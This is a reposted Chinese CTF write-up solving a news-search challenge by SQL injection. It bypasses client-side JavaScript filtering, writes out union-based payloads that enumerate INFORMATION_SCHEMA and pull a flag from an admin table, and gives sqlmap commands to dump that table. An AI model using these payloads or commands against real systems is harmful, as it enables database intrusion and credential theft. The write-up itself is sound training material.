欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)

程序员文章站 2022-03-19 13:42:40
题目给出的靶机如下:解题思路首先判断这是考察哪个知识点,只有一个输入框,题目中又说到入侵,首先考虑sql注入,下面介绍手工和自动化注入两种方式(1)手工注入先随便输入几个值,发现只有在值等于“内容”时有返回结果,其他关键字均没有结果,但是会有会先如下:用“ ’ ”来探测是否能接受特殊字符以及是否存在注入点,结果如图:很显然,存在前台的js代码在控制输入的字符,找到这个网页的js代码,如下:代码把所有的特殊字符都换成了空字符。现在要做的就是就是先把这个网站的js代码停用,如下图:...

题目

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
给出的靶机如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)

解题思路

首先判断这是考察哪个知识点,只有一个输入框,题目中又说到入侵,首先考虑sql注入,下面介绍手工和自动化注入两种方式
(1)手工注入
先随便输入几个值,发现只有在值等于“内容”时有返回结果,其他关键字均没有结果,但是会有会先如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
用“ ’ ”来探测是否能接受特殊字符以及是否存在注入点,结果如图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)很显然,存在前台的js代码在控制输入的字符,找到这个网页的js代码,如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
代码把所有的特殊字符都换成了空字符。
现在要做的就是就是先把这个网站的js代码停用,如下图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
停用以后:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
接着测试,使用 ’ or 1=1 – ’
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)把所有的内容都显示了出来,由此判断出,网站后台的SQL语句代码大概为:
select * from 某个表 where 某个字段=‘关键字’ limit 5;
由这个推断继续往下试探,使用 ’ union select 1 from INFORMATION_SCHEMA.tables – ’ 这一格式来试探其sql语句的返回结果共有几个字段,结果显示为三个,如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
而且在访问INFORMATION_SCHEMA数据库时没有报错,那就是拥有访问权限
查看存在的数据库和表,命令如下 ’ union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables – ’

如图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
通过分析,当下用户可以查看到两个数据库:INFORMATION_SCHEMA news
flag大概率在news数据库中,其中的news表存的应该是新闻信息,现在主要看admin表
通过如下命令:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
查看所有列,(其实可以添加where语句进行过滤,但是加了无结果,还没找到原因)
看到存在“flag”列
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
用以下语句获取admin表里的flag列的数据 ’ union select 1,2,flag from admin – ’
获得结果如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
得到了flg,大功告成。

(2) sqlmap自动化注入

使用sqlmap能 大大的提高注入效率,这显然是使用post方法提交的,所以需要看一下提交的格式,这里使用burpsuite来查看,如图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
然后使用如下语句进行注入 sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” --dbs

结果如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
这里看到多探测出一个“test”数据库
查看news数据库存在的表:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news --tables

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
把admin表dump出来,如下:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news -T admin --dump

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
同样看到flag。

总结

sqlmap注入的效率要高的太多,但是手工注入是基础,也要加强学习。

本文地址:https://blog.csdn.net/qq_29566629/article/details/107603537